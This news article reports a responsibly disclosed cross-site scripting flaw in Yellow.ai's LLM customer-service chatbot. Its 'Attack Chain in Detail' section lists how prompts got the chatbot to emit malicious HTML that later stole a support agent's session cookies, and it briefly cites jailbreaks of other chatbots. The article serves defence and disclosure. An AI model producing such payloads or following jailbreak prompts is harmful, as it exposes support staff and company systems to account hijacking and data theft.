Researchers have uncovered a major vulnerability in Yellow.ai’s customer service chatbot that allowed attackers to inject malicious code and steal session cookies, potentially leading to account hijacking. The flaw, which has since been fixed, highlights the risks of deploying large language models (LLMs) at scale without proper input and output sanitization.
How Researchers Exploited the Vulnerability
Cybernews researchers discovered that Yellow.ai’s chatbot could be manipulated into producing and delivering malicious HTML and JavaScript code with no safeguards in place. This allowed the researchers to perform a reflected Cross-Site Scripting (XSS) attack.
“The reflected XSS vulnerability allows the attacker to steal session cookies for the support agent’s account, in turn hijacking their account, which can lead to further data exfiltration from the customer support platform,” the research team explained.
Once the chatbot generated and stored the malicious HTML in its conversation history, the exploit chain became self-sustaining. When a support agent later opened the compromised chat, their browser executed the malicious payload, sending session cookies to a server controlled by the attacker. These cookies could then be used to gain unauthorized access to Yellow.ai’s internal systems.
Security Weaknesses Exposed by the Flaw
The vulnerability underscored several significant security oversights. The chatbot failed to sanitize user inputs and outputs, the web server allowed execution of unverified content, and no proper safeguards were in place to prevent the loading of arbitrary web resources.
Such weaknesses make XSS attacks easy to execute and open the door for lateral movement inside an organization. Once attackers gain a foothold, they can expand their access, target sensitive internal data, and escalate privileges.
Yellow.ai’s Response and Mitigation Steps
Cybernews responsibly disclosed the findings to Yellow.ai. While the company did not issue a public acknowledgement, it quietly patched the flaw by ensuring that any code generated by the chatbot is now sanitized and displayed as plain text rather than being executed.
Although the chatbot no longer executes malicious HTML or JavaScript, researchers noted that it can still provide instructions for generating harmful code. This means the risk is lower but not entirely eliminated.
It remains unclear whether the chatbot implementation used by enterprise clients was vulnerable to the same issue. Cybernews has asked Yellow.ai for clarification and will update when a response is received.
Attack Chain in Detail
The exploit chain required only a few simple prompts to work:
- The chatbot was tricked into responding in HTML format, generating a malicious payload.
- The response containing the malicious HTML was stored in the conversation history.
- When a human support agent opened the chat, their browser automatically executed the code.
- The code exfiltrated session cookies to an attacker-controlled server.
- The attacker used the stolen cookies to hijack the agent’s active session and potentially access Yellow.ai’s customer support systems.
This process demonstrated that even a benign customer service chatbot could be turned into a weaponized attack vector with minimal effort.
Widespread Risks With Chatbots and LLMs
Yellow.ai’s chatbot is not the first to face scrutiny. Cybernews recently identified a similar XSS vulnerability in Lenovo’s customer service assistant, Lena. Lenovo acknowledged the issue and deployed a fix.
Other chatbots have also been abused for malicious purposes. Expedia’s virtual assistant was found capable of generating dangerous instructions such as recipes for incendiary devices before the company intervened. Earlier this year, researchers also tricked China’s DeepSeek chatbot into crafting a functional Chrome infostealer, even though the researcher had no prior malware development experience.
When OpenAI released GPT-5, security researchers successfully jailbroke the model in under 24 hours, proving that even state-of-the-art systems are susceptible to manipulation when adversaries experiment with prompts and exploit weaknesses in safety guardrails.
Background on Yellow.ai
Founded in 2016 and formerly known as Yellow Messenger, Yellow.ai is headquartered in San Mateo, California. The company provides agentic AI solutions for enterprise customers, with a focus on chatbots powered by LLMs that require minimal human oversight. Its clients include major brands such as Sony, Logitech, Hyundai, and Domino’s.
Lessons for Enterprises
The incident is a strong reminder that enterprises deploying LLM-driven chatbots must implement rigorous input/output validation, continuously monitor for vulnerabilities, and prepare for malicious prompt injections. Without proper controls, chatbots can unintentionally execute harmful code and give attackers a gateway into sensitive systems.
